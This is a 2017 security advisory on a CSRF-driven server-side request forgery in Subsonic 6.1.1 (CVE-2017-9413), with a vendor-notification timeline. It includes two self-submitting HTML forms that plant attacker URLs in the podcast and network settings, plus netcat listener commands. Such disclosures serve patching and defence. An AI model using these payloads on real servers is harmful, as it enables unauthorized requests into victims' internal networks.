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Subsonic 6.1.1 Server Side Request Forgery

Subsonic 6.1.1 Server Side Request Forgery
Posted Jun 3, 2017
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Remote attackers can abuse the Podcast feature of subsonic to launch Server Side Request Forgery attacks from the subsonic server if an authenticated user clicks a malicious link or visits an attacker controlled webpage.

tags | exploit, remote, csrf
advisories | CVE-2017-9413
MD5 | a2b09d2527ad59b05aab04f9625f9618

Subsonic 6.1.1 Server Side Request Forgery

Change Mirror Download
[+] Credits: John Page a.k.a hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-SERVER-SIDE-REQUEST-FORGERY.txt
[+] ISR: ApparitionSec


Vendor:
================
www.subsonic.org



Product:
===============
subsonic v6.1.1

Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.



Vulnerability Type:
==================================
CSRF - Server Side Request Forgery



CVE Reference:
==============
CVE-2017-9413



Security Issue:
================
Remote attackers can abuse the Podcast feature of subsonic to launch Server Side Request Forgery attacks on the internal network
or to the internet if an authenticated user clicks a malicious link or visits an attacker controlled webpage. SSRF can be used to
bypass Firewall restriction on LAN.

e.g

nc.exe -llvp 1337
listening on [any] 1337 ...

connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428
GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_45
Host: 127.0.0.1:1337
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


Exploit/POC:
=============
nc.exe -llvp 1337
listening on [any] 1337 ...


1) Subscribe to Podcast CSRF Persistent SSRF

<form method="post" action="http://localhost:4040/podcastReceiverAdmin.view?">
<input type="text" name="add" value="http://127.0.0.1:1337">
<input type="submit" value="OK">
<script>document.forms[0].submit()</script>
</form>


nc.exe -llvp 5555
listening on [any] 5555 ...


2) Interet Radio Settings CSRF Persistent SSRF

<form action="http://localhost:4040/networkSettings.view" method="post">
<input name="portForwardingEnabled" type="hidden" value="true"/>
<input type="hidden" name="_portForwardingEnabled" value="on"/>
<input name="urlRedirectionEnabled" type="hidden" value="true" />
<input type="hidden" name="_urlRedirectionEnabled" value="on"/>
<input name="urlRedirectType" type="radio" value="NORMAL"/>
<input name="urlRedirectFrom" type="radio" value="yourname"/>
<input name="urlRedirectType" type="radio" value="CUSTOM" checked="true" />
<input name="urlRedirectCustomUrl" type="hidden" value="http://127.0.0.1:5555"/>
<script>document.forms[0].submit()</script>
</form>



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
==================================
Vendor Notification: May 29, 2017
Vendor Acknowledgement: May 30, 2017
June 4, 2017 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

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